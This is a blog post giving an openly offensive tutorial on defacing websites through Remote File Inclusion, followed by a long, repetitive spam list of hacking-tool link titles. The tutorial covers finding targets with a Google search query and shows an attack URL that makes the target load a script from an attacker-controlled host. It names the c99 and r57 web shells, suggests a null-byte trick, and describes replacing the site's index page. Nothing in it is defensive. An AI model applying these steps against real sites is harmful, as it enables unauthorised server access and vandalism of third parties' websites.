Welcome to my blog. You can with your friends and collect the amazing picture from here and plz click on the ads by google

Thursday, January 25, 2024

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related articles


  1. Hack Tools
  2. Hacker Tools Online
  3. Hack App
  4. Pentest Tools Kali Linux
  5. New Hacker Tools
  6. Hacking Tools Free Download
  7. Hacker Hardware Tools
  8. Hacking Tools For Games
  9. Pentest Tools Online
  10. Hack And Tools
  11. Hacking Tools For Kali Linux
  12. Pentest Tools Alternative
  13. Hacking Tools Pc
  14. Github Hacking Tools
  15. Pentest Tools For Mac
  16. Bluetooth Hacking Tools Kali
  17. Hacking Tools For Games
  18. Hacking Tools
  19. New Hack Tools
  20. Hacker Tool Kit
  21. Hacker Tools For Windows
  22. Nsa Hack Tools
  23. Hack Tools Download
  24. Hacking Tools Windows 10
  25. Hacker Tools Apk Download
  26. Physical Pentest Tools
  27. Hacking Tools Software
  28. Pentest Tools Website
  29. Hacking Tools
  30. Hackers Toolbox
  31. Hacking Tools For Mac
  32. Hacker Tools Free Download
  33. Usb Pentest Tools
  34. How To Install Pentest Tools In Ubuntu
  35. Hacker Security Tools
  36. Hack Tools For Games
  37. Hack Tools 2019
  38. Hacking Tools For Kali Linux
  39. Hacker Search Tools
  40. New Hacker Tools
  41. Hacker Tools
  42. Hacking Tools For Games
  43. Pentest Tools Port Scanner
  44. Hack Tools For Mac
  45. Pentest Tools Nmap
  46. Hacker Tools For Windows
  47. Pentest Tools Android
  48. Hack Tools
  49. Hak5 Tools
  50. World No 1 Hacker Software
  51. Hacker Tools Free Download
  52. Hacker Techniques Tools And Incident Handling
  53. Hack Tools Pc
  54. Android Hack Tools Github
  55. How To Hack
  56. How To Hack
  57. Hacker Tools List
  58. Hack Tools For Mac
  59. Pentest Tools
  60. Hacker Search Tools
  61. Hack Tools
  62. Hacking Tools For Beginners
  63. Pentest Tools Free
  64. Hacking Tools For Windows
  65. Hacking Tools For Games
  66. Hacking Apps
  67. How To Hack
  68. Hacking Tools 2020
  69. Pentest Tools Nmap
  70. Hacker Tools For Windows
  71. Pentest Automation Tools
  72. Hacking Tools For Windows 7
  73. Hacker Search Tools
  74. Hack Tool Apk No Root
  75. Tools For Hacker
  76. Pentest Tools Subdomain
  77. Nsa Hack Tools Download
  78. Hacking Tools 2019
  79. New Hacker Tools
  80. Hacking Apps
  81. Pentest Tools Website Vulnerability
  82. Hacker Tools For Pc
  83. Best Hacking Tools 2019
  84. Best Hacking Tools 2019
  85. Pentest Automation Tools
  86. Hacker Tools 2020
  87. Tools For Hacker
  88. What Are Hacking Tools
  89. Underground Hacker Sites
  90. Hacker Hardware Tools
  91. Blackhat Hacker Tools
  92. Pentest Tools Online
  93. Hacking Tools Hardware
  94. Nsa Hack Tools Download
  95. Hackers Toolbox
  96. Hacking Tools Hardware
  97. Hacker Tools List
  98. Hacker Tools Mac
  99. Pentest Tools Apk
  100. Hacker Tools Apk
  101. Hack Tools For Pc
  102. Nsa Hack Tools Download
  103. New Hack Tools
  104. Pentest Tools Apk
  105. Hacking Tools For Windows Free Download
  106. New Hacker Tools
  107. Tools Used For Hacking
  108. Hacker Search Tools
  109. Best Pentesting Tools 2018
  110. Hacking Tools Name
  111. Kik Hack Tools
  112. Hacker Hardware Tools
  113. Computer Hacker
  114. Hack Tools For Games
  115. Pentest Tools Review
  116. How To Install Pentest Tools In Ubuntu
  117. Pentest Tools Tcp Port Scanner
  118. Github Hacking Tools
  119. Pentest Tools Subdomain
  120. Hacking Tools Download
  121. Easy Hack Tools
  122. Pentest Tools Apk
  123. Hack Tool Apk No Root
  124. Hack Tools
  125. Hack Tools Pc
  126. Pentest Tools Nmap
  127. Hacker Tools Github
  128. Hacker Tools Mac
  129. Hacking Tools 2020
  130. New Hack Tools
  131. Hacking Tools For Kali Linux
  132. Termux Hacking Tools 2019
  133. Hacking Tools For Games
  134. What Are Hacking Tools
  135. Hacking Apps
  136. Hack And Tools
  137. Tools Used For Hacking
  138. World No 1 Hacker Software
  139. Hack Tools Github
  140. Hacking Tools For Mac
  141. Pentest Tools Linux
  142. Best Pentesting Tools 2018
  143. Pentest Tools Open Source
  144. Hacking Tools And Software
  145. How To Make Hacking Tools
  146. Hacker Hardware Tools
  147. Hack And Tools
  148. Hacker Tools Online
  149. Hack Tools
  150. Hack App
  151. Hacker Tool Kit
  152. Pentest Tools Nmap
  153. Hacker Tools 2019
  154. Hack Tools 2019
  155. Nsa Hack Tools
  156. Hack Tools For Windows
  157. Free Pentest Tools For Windows
  158. Pentest Tools Find Subdomains
  159. Pentest Tools Find Subdomains
  160. Best Hacking Tools 2020
  161. Hacks And Tools
  162. Hacking Tools Online
  163. Hacker Tools Online
  164. Hacker Tools 2020
  165. Hacker Tools List
  166. Hacker Tools For Mac
Posted by at

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)